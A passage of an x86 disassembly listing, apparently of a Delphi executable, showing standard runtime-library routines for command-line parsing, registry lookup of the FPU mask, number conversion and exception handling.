		jmp	short loc_4029AE
; ---------------------------------------------------------------------------


loc_40299A:				; CODE XREF: sub_402908+50j
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[edi], eax
		mov	eax, [edi]
		sub	eax, [esi]
		add	ebp, eax
		mov	eax, [edi]
		mov	[esi], eax


loc_4029AE:				; CODE XREF: sub_402908+49j
					; sub_402908+84j ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	20h
		ja	short loc_402953
		mov	eax, [esp+28h+var_24]
		mov	edx, ebp
		call	sub_403854
		mov	eax, [esp+28h+var_1C]
		mov	[esi], eax
		mov	eax, [esp+28h+var_24]
		mov	eax, [eax]
		mov	[esp+28h+var_18], eax
		xor	ebp, ebp
		jmp	short loc_402A4F
; ---------------------------------------------------------------------------


loc_4029D4:				; CODE XREF: sub_402908+14Cj
		mov	eax, [esi]
		cmp	byte ptr [eax],	22h
		jnz	short loc_402A2B
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax
		jmp	short loc_402A0B
; ---------------------------------------------------------------------------


loc_4029E7:				; CODE XREF: sub_402908+10Ej
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[edi], eax
		mov	eax, [esi]
		cmp	eax, [edi]
		jnb	short loc_402A0B


loc_4029F7:				; CODE XREF: sub_402908+101j
		mov	eax, [esi]
		mov	al, [eax]
		mov	edx, [esp+28h+var_18]
		mov	[edx+ebp], al
		inc	dword ptr [esi]
		inc	ebp
		mov	eax, [esi]
		cmp	eax, [edi]
		jb	short loc_4029F7


loc_402A0B:				; CODE XREF: sub_402908+DDj
					; sub_402908+EDj
		mov	eax, [esi]
		mov	bl, [eax]
		test	bl, bl
		jz	short loc_402A18
		cmp	bl, 22h
		jnz	short loc_4029E7


loc_402A18:				; CODE XREF: sub_402908+109j
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	short loc_402A4F
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax
		jmp	short loc_402A4F
; ---------------------------------------------------------------------------


loc_402A2B:				; CODE XREF: sub_402908+D1j
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[edi], eax
		mov	eax, [esi]
		cmp	eax, [edi]
		jnb	short loc_402A4F


loc_402A3B:				; CODE XREF: sub_402908+145j
		mov	eax, [esi]
		mov	al, [eax]
		mov	edx, [esp+28h+var_18]
		mov	[edx+ebp], al
		inc	dword ptr [esi]
		inc	ebp
		mov	eax, [esi]
		cmp	eax, [edi]
		jb	short loc_402A3B


loc_402A4F:				; CODE XREF: sub_402908+CAj
					; sub_402908+115j ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	20h
		ja	loc_4029D4
		mov	eax, [esi]
		mov	[esp+28h+var_20], eax
		mov	eax, [esp+28h+var_20]
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402908	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A6C	proc near		; CODE XREF: sub_404FC4+1Bp
					; CODE:004053F2p

var_114		= dword	ptr -114h
var_110		= byte ptr -110h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_403560
		test	esi, esi
		jnz	short loc_402AA3
		push	105h
		lea	eax, [esp+118h+var_110]
		push	eax
		push	0
		call	sub_401058	; GetModuleFileNameA
		mov	ecx, eax
		lea	edx, [esp+114h+var_110]
		mov	eax, ebx
		call	sub_403624
		jmp	short loc_402AC4
; ---------------------------------------------------------------------------


loc_402AA3:				; CODE XREF: sub_402A6C+15j
		call	sub_401048	; GetCommandLineA
		mov	[esp+114h+var_114], eax


loc_402AAB:				; CODE XREF: sub_402A6C+56j
		mov	edx, ebx
		mov	eax, [esp+114h+var_114]
		call	sub_402908
		mov	[esp+114h+var_114], eax
		test	esi, esi
		jz	short loc_402AC4
		cmp	dword ptr [ebx], 0
		jz	short loc_402AC4
		dec	esi
		jmp	short loc_402AAB
; ---------------------------------------------------------------------------


loc_402AC4:				; CODE XREF: sub_402A6C+35j
					; sub_402A6C+4Ej ...
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_402A6C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402AD0	proc near		; CODE XREF: sub_403A24+1Ep
					; sub_403A24+28p ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_402B0F
		cmp	ax, 0D7B3h
		ja	short loc_402B0F
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_402AF7
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_402AF7:				; CODE XREF: sub_402AD0+1Ej
		test	esi, esi
		jnz	short loc_402B02
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_402B02:				; CODE XREF: sub_402AD0+29j
		test	esi, esi
		jz	short loc_402B21
		mov	eax, esi
		call	sub_4028B8
		jmp	short loc_402B21
; ---------------------------------------------------------------------------


loc_402B0F:				; CODE XREF: sub_402AD0+Ej
					; sub_402AD0+14j
		cmp	ebx, offset dword_407038
		jz	short loc_402B21
		mov	eax, 67h
		call	sub_4028B8


loc_402B21:				; CODE XREF: sub_402AD0+34j
					; sub_402AD0+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_402AD0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402B28	proc near		; CODE XREF: sub_4045CC+1Fp
					; sub_404D90+1Fp
		push	ebx
		mov	bl, [edx]
		cmp	cl, bl
		jbe	short loc_402B31
		mov	ecx, ebx


loc_402B31:				; CODE XREF: sub_402B28+5j
		mov	[eax], cl
		inc	edx
		inc	eax
		and	ecx, 0FFh
		xchg	eax, edx
		call	sub_4028C8
		pop	ebx
		retn
sub_402B28	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402B44	proc near		; CODE XREF: sub_403DA8+Ap
					; sub_4040B4+7Ep ...
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_402B61
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_402B61:				; CODE XREF: sub_402B44+12j
		pop	edi
		retn
sub_402B44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402B64	proc near		; CODE XREF: sub_402BC4+4p

var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	edx
		sub	esp, 14h
		mov	edi, ecx
		mov	esi, eax
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	ecx, 0Ah
		xor	ebx, ebx


loc_402B7B:				; CODE XREF: sub_402B64+24j
		xor	edx, edx
		div	ecx
		add	edx, 30h
		mov	[esp+ebx+24h+var_24], dl
		inc	ebx
		test	eax, eax
		jnz	short loc_402B7B
		test	esi, esi
		jge	short loc_402B93
		mov	[esp+ebx+24h+var_24], 2Dh
		inc	ebx


loc_402B93:				; CODE XREF: sub_402B64+28j
		mov	[edi], bl
		inc	edi
		mov	ecx, [esp+24h+var_10]
		cmp	ecx, 0FFh
		jle	short loc_402BA7
		mov	ecx, 0FFh


loc_402BA7:				; CODE XREF: sub_402B64+3Cj
		sub	ecx, ebx
		jle	short loc_402BB2
		add	[edi-1], cl
		mov	al, 20h
		rep stosb


loc_402BB2:				; CODE XREF: sub_402B64+45j
					; sub_402B64+56j
		mov	al, [esp+ebx-1]
		mov	[edi], al
		inc	edi
		dec	ebx
		jnz	short loc_402BB2
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402B64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402BC4	proc near		; CODE XREF: sub_4045CC+12p
					; sub_404D90+12p
		mov	ecx, edx
		xor	edx, edx
		call	sub_402B64
		retn
sub_402BC4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402BD0	proc near		; CODE XREF: sub_4039B0+41p
					; sub_4045C0+3p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_402C46
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_402BE3:				; CODE XREF: sub_402BD0+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_402BE3
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_402C54
		cmp	bl, 2Bh
		jz	short loc_402C56


loc_402BF7:				; CODE XREF: sub_402BD0+89j
		cmp	bl, 24h
		jz	short loc_402C5B
		cmp	bl, 78h
		jz	short loc_402C5B
		cmp	bl, 58h
		jz	short loc_402C5B
		cmp	bl, 30h
		jnz	short loc_402C1E
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_402C5B
		cmp	bl, 58h
		jz	short loc_402C5B
		test	bl, bl
		jz	short loc_402C3C
		jmp	short loc_402C22
; ---------------------------------------------------------------------------


loc_402C1E:				; CODE XREF: sub_402BD0+39j
		test	bl, bl
		jz	short loc_402C4F


loc_402C22:				; CODE XREF: sub_402BD0+4Cj
					; sub_402BD0+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_402C4F
		cmp	eax, edi
		ja	short loc_402C4F
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_402C22


loc_402C3C:				; CODE XREF: sub_402BD0+4Aj
		dec	ch
		jz	short loc_402C49
		test	eax, eax
		jge	short loc_402C98
		jmp	short loc_402C4F
; ---------------------------------------------------------------------------


loc_402C46:				; CODE XREF: sub_402BD0+8j
					; sub_402BD0+95j
		inc	esi
		jmp	short loc_402C4F
; ---------------------------------------------------------------------------


loc_402C49:				; CODE XREF: sub_402BD0+6Ej
		neg	eax
		jle	short loc_402C98
		js	short loc_402C98


loc_402C4F:				; CODE XREF: sub_402BD0+50j
					; sub_402BD0+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_402C9B
; ---------------------------------------------------------------------------


loc_402C54:				; CODE XREF: sub_402BD0+20j
		inc	ch


loc_402C56:				; CODE XREF: sub_402BD0+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_402BF7
; ---------------------------------------------------------------------------


loc_402C5B:				; CODE XREF: sub_402BD0+2Aj
					; sub_402BD0+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_402C46


loc_402C67:				; CODE XREF: sub_402BD0+C0j
		cmp	bl, 61h
		jb	short loc_402C6F
		sub	bl, 20h


loc_402C6F:				; CODE XREF: sub_402BD0+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_402C82
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_402C4F
		add	bl, 0Ah


loc_402C82:				; CODE XREF: sub_402BD0+A5j
		cmp	eax, edi
		ja	short loc_402C4F
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_402C67
		dec	ch
		jnz	short loc_402C98
		neg	eax


loc_402C98:				; CODE XREF: sub_402BD0+72j
					; sub_402BD0+7Bj ...
		pop	ecx
		xor	esi, esi


loc_402C9B:				; CODE XREF: sub_402BD0+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402BD0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402CA4	proc near		; CODE XREF: sub_402CAC+5p
					; sub_402CAC+11p
		jmp	ds:dword_4080E8
sub_402CA4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402CAC	proc near		; CODE XREF: sub_403A78+39p
		push	ebx
		xor	ebx, ebx
		push	0
		call	sub_402CA4	; GetKeyboardType
		cmp	eax, 7
		jnz	short loc_402CD7
		push	1
		call	sub_402CA4	; GetKeyboardType
		and	eax, 0FF00h
		cmp	eax, 0D00h
		jz	short loc_402CD5
		cmp	eax, 400h
		jnz	short loc_402CD7


loc_402CD5:				; CODE XREF: sub_402CAC+20j
		mov	bl, 1


loc_402CD7:				; CODE XREF: sub_402CAC+Dj
					; sub_402CAC+27j
		mov	eax, ebx
		pop	ebx
		retn
sub_402CAC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402CDC	proc near		; CODE XREF: sub_403A78+42p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, ds:word_40600C
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h
		call	sub_401078	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_402D54
		xor	eax, eax
		push	ebp
		push	offset loc_402D4D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_C], 4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0
		push	offset aFpumaskvalue ; "FPUMaskValue"
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401080	; RegQueryValueExA
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402D54


loc_402D43:				; CODE XREF: sub_402CDC+76j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401070	; RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_402D4D:				; DATA XREF: sub_402CDC+2Eo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_402D43
; ---------------------------------------------------------------------------


loc_402D54:				; CODE XREF: sub_402CDC+29j
					; DATA XREF: sub_402CDC+62o
		mov	ax, ds:word_40600C
		and	ax, 0FFC0h
		mov	dx, word ptr [ebp+var_8]
		and	dx, 3Fh
		or	ax, dx
		mov	ds:word_40600C,	ax
		mov	esp, ebp
		pop	ebp
		retn
sub_402CDC	endp

; ---------------------------------------------------------------------------
		align 4
aSoftwareBorlan	db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_402CDC+18o
aFpumaskvalue	db 'FPUMaskValue',0     ; DATA XREF: sub_402CDC+4Co
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402DA0	proc near		; CODE XREF: sub_403230-368p
					; CODE:00403176p ...
		fninit
		wait
		fldcw	ds:word_40600C
		retn
sub_402DA0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402DAC	proc near		; CODE XREF: CODE:00402FC7j
					; sub_40300C+30p ...
		test	eax, eax
		jz	short locret_402DB7
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx-4]

locret_402DB7:				; CODE XREF: sub_402DAC+2j
		retn
sub_402DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_402DB8	proc near		; CODE XREF: sub_40300C+35p
		cmp	ds:byte_406010,	1
		jbe	short locret_402DD2
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	ds:off_407010

locret_402DD2:				; CODE XREF: sub_402DB8+7j
		retn
sub_402DB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402DD4	proc near		; CODE XREF: sub_403230-33Bp
		cmp	ds:byte_406010,	0
		jz	short locret_402DF4
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	ds:off_407010
		add	esp, 8
		pop	eax

locret_402DF4:				; CODE XREF: sub_402DD4+7j
		retn
sub_402DD4	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_402E10


loc_402DF8:				; CODE XREF: sub_402E10+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	ds:off_407010
		add	esp, 4
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_402E10
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402E10	proc near		; CODE XREF: sub_403230-28Bp

; FUNCTION CHUNK AT 00402DF8 SIZE 00000015 BYTES

		cmp	ds:byte_406010,	1
		jbe	short locret_402E20
		push	eax
		push	ebx
		jmp	loc_402DF8
; ---------------------------------------------------------------------------

locret_402E20:				; CODE XREF: sub_402E10+7j
		retn
sub_402E10	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402E24	proc near		; CODE XREF: sub_402E44+Cp
		test	ecx, ecx
		jz	short locret_402E41
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_402E3C
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_402E41
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_402E3F
; ---------------------------------------------------------------------------


loc_402E3C:				; CODE XREF: sub_402E24+Aj
		add	ecx, 5


loc_402E3F:				; CODE XREF: sub_402E24+16j
		add	ecx, eax

locret_402E41:				; CODE XREF: sub_402E24+2j
					; sub_402E24+Fj
		retn
sub_402E24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402E44	proc near		; CODE XREF: sub_401904+16F5p
		cmp	ds:byte_406010,	1
		jbe	short locret_402E6A
		push	eax
		push	edx
		push	ecx
		call	sub_402E24
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:off_407010
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_402E6A:				; CODE XREF: sub_402E44+7j
		retn
sub_402E44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402E6C	proc near		; CODE XREF: sub_403060+28p
		cmp	ds:byte_406010,	1
		jbe	short locret_402E87
		push	edx
		push	esp
		push	1
		push	0
		push	0EEDFAE2h
		call	ds:off_407010
		pop	edx

locret_402E87:				; CODE XREF: sub_402E6C+7j
		retn
sub_402E6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E88	proc near		; CODE XREF: CODE:loc_4031BDp
		push	eax
		push	edx
		cmp	ds:byte_406010,	1
		jbe	short loc_402EA3
		push	esp
		push	2
		push	0
		push	0EEDFAE3h
		call	ds:off_407010


loc_402EA3:				; CODE XREF: sub_402E88+9j
		pop	edx
		pop	eax
		retn
sub_402E88	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_403230


loc_402EA8:				; CODE XREF: sub_403230:loc_403285j
					; sub_4032A0:loc_4032F5j ...
		mov	eax, [esp-4+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_402FCC
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_402F35
		cld
		call	sub_402DA0
		mov	edx, ds:dword_40700C
		test	edx, edx
		jz	loc_402FCC
		call	edx
		test	eax, eax
		jz	loc_402FCC
		mov	edx, [esp-4+arg_8]
		mov	ecx, [esp-4+arg_0]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_402F2C
		call	sub_402DD4
		cmp	ds:byte_406014,	0
		jbe	short loc_402F2C
		cmp	ds:byte_406010,	0
		ja	short loc_402F2C
		lea	ecx, [esp-4+arg_0]
		push	eax
		push	ecx
		call	sub_401018	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_402FCC
		mov	edx, eax
		mov	eax, [esp+4]
		mov	ecx, [eax+0Ch]
		jmp	short loc_402F5C
; ---------------------------------------------------------------------------


loc_402F2C:				; CODE XREF: sub_403230-33Dj
					; sub_403230-32Fj ...
		mov	edx, eax
		mov	eax, [esp-4+arg_0]
		mov	ecx, [eax+0Ch]


loc_402F35:				; CODE XREF: sub_403230-36Bj
		cmp	ds:byte_406014,	1
		jbe	short loc_402F5C
		cmp	ds:byte_406010,	0
		ja	short loc_402F5C
		push	eax
		lea	eax, [esp+arg_0]
		push	edx
		push	ecx
		push	eax
		call	sub_401018	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_402FCC


loc_402F5C:				; CODE XREF: sub_403230-306j
					; sub_403230-2F4j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+20h+arg_0]
		push	0
		push	eax
		push	offset loc_402F80
		push	edx
		call	ds:off_407014


loc_402F80:				; DATA XREF: sub_403230-2BCo
		mov	edi, [esp+30h+var_8]
		call	sub_403BC4
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset sub_402FAC
		add	ebx, 5
		call	sub_402E10
		jmp	ebx
; END OF FUNCTION CHUNK	FOR sub_403230

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402FAC	proc near		; DATA XREF: sub_403230-295o
		jmp	loc_402FD4
sub_402FAC	endp

; ---------------------------------------------------------------------------
		call	sub_403BC4
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_402DAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_403230


loc_402FCC:				; CODE XREF: sub_403230-37Dj
					; sub_403230-35Bj ...
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_403230
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_401904


loc_402FD4:				; CODE XREF: sub_401904:loc_4019CCj
					; sub_4019DC:loc_401AD0j ...
		mov	eax, [esp+4]
		mov	edx, [esp+8]
		test	dword ptr [eax+4], 6
		jz	short loc_403004
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_403004
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_402E44
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_403004:				; CODE XREF: sub_401904+16DFj
					; DATA XREF: sub_401904+16E4o
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_401904
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40300C	proc near		; CODE XREF: sub_403230+5Fp
					; sub_4032A0+5Fp

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_403057
		call	sub_403BC4
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_403046
		mov	eax, [edx+8]
		call	sub_402DAC
		call	sub_402DB8


loc_403046:				; CODE XREF: sub_40300C+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_403057:				; DATA XREF: sub_40300C+4o
		mov	eax, 1
		retn
sub_40300C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403060	proc near		; CODE XREF: sub_403230+64p
					; sub_4032A0+64p ...

arg_2C		= dword	ptr  30h

		call	sub_403BC4
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+8]
		call	sub_402DAC
		pop	edx
		mov	esp, [esp-4+arg_2C]
		xor	eax, eax
		pop	ecx
		mov	fs:[eax], ecx
		pop	eax
		pop	ebp
		call	sub_402E6C
		jmp	edx
sub_403060	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403090	proc near		; CODE XREF: sub_402160+10Cp
					; sub_402160+16Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	edx, edx
		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		add	ecx, 5
		mov	fs:[edx], eax
		call	ecx
		retn	0Ch
sub_403090	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4030A8:				; CODE XREF: CODE:004031A8j
					; CODE:004031B4j
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_4030E3
		jz	short loc_403115
		cmp	eax, 0C000008Eh
		jg	short loc_4030D5
		jz	short loc_403119
		sub	eax, 0C0000005h
		jz	short loc_403125
		sub	eax, 87h
		jz	short loc_40310D
		dec	eax
		jz	short loc_403121
		jmp	short loc_403135
; ---------------------------------------------------------------------------


loc_4030D5:				; CODE XREF: CODE:004030BEj
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_403115
		jz	short loc_403111
		jmp	short loc_403135
; ---------------------------------------------------------------------------


loc_4030E3:				; CODE XREF: CODE:004030B5j
		cmp	eax, 0C0000096h
		jg	short loc_4030FB
		jz	short loc_403129
		sub	eax, 0C0000093h
		jz	short loc_403121
		dec	eax
		jz	short loc_403109
		dec	eax
		jz	short loc_40311D
		jmp	short loc_403135
; ---------------------------------------------------------------------------


loc_4030FB:				; CODE XREF: CODE:004030E8j
		sub	eax, 0C00000FDh
		jz	short loc_403131
		sub	eax, 3Dh
		jz	short loc_40312D
		jmp	short loc_403135
; ---------------------------------------------------------------------------


loc_403109:				; CODE XREF: CODE:004030F4j
		mov	al, 0C8h
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_40310D:				; CODE XREF: CODE:004030CEj
		mov	al, 0C9h
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403111:				; CODE XREF: CODE:004030DFj
		mov	al, 0CDh
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403115:				; CODE XREF: CODE:004030B7j
					; CODE:004030DDj
		mov	al, 0CFh
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403119:				; CODE XREF: CODE:004030C0j
		mov	al, 0C8h
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_40311D:				; CODE XREF: CODE:004030F7j
		mov	al, 0D7h
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403121:				; CODE XREF: CODE:004030D1j
					; CODE:004030F1j
		mov	al, 0CEh
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403125:				; CODE XREF: CODE:004030C7j
		mov	al, 0D8h
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403129:				; CODE XREF: CODE:004030EAj
		mov	al, 0DAh
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_40312D:				; CODE XREF: CODE:00403105j
		mov	al, 0D9h
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403131:				; CODE XREF: CODE:00403100j
		mov	al, 0CAh
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403135:				; CODE XREF: CODE:004030D3j
					; CODE:004030E1j ...
		mov	al, 0FFh


loc_403137:				; CODE XREF: CODE:0040310Bj
					; CODE:0040310Fj ...
		and	eax, 0FFh
		mov	edx, [edx+0Ch]
		call	sub_402854
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_403148:				; DATA XREF: sub_4031E8+Do
		mov	eax, [esp+4]
		test	dword ptr [eax+4], 6
		jnz	loc_4031E2
		cmp	ds:byte_406010,	0
		ja	short loc_403171
		lea	eax, [esp+4]
		push	eax
		call	sub_401018	; UnhandledExceptionFilter
		cmp	eax, 0
		jz	short loc_4031E2


loc_403171:				; CODE XREF: CODE:00403160j
		mov	eax, [esp+4]
		cld
		call	sub_402DA0
		mov	edx, [esp+8]
		push	0
		push	eax
		push	offset loc_40318E
		push	edx
		call	ds:off_407014


loc_40318E:				; DATA XREF: CODE:00403182o
		mov	ebx, [esp+4]
		cmp	dword ptr [ebx], 0EEDFADEh
		mov	edx, [ebx+14h]
		mov	eax, [ebx+18h]
		jz	short loc_4031BD
		mov	edx, ds:dword_40700C
		test	edx, edx
		jz	loc_4030A8
		mov	eax, ebx
		call	edx
		test	eax, eax
		jz	loc_4030A8
		mov	edx, [ebx+0Ch]


loc_4031BD:				; CODE XREF: CODE:0040319Ej
		call	sub_402E88
		mov	ecx, ds:dword_407004
		test	ecx, ecx
		jz	short loc_4031CE
		call	ecx


loc_4031CE:				; CODE XREF: CODE:004031CAj
		mov	ecx, [esp+4]
		mov	eax, 0D9h
		mov	edx, [ecx+14h]
		mov	[esp], edx
		jmp	sub_403554
; ---------------------------------------------------------------------------


loc_4031E2:				; CODE XREF: CODE:00403153j
					; CODE:0040316Fj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4031E8	proc near		; CODE XREF: sub_403310+2Ep
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset loc_403148
		mov	[eax+8], ebp
		mov	ds:dword_407624, eax
		retn
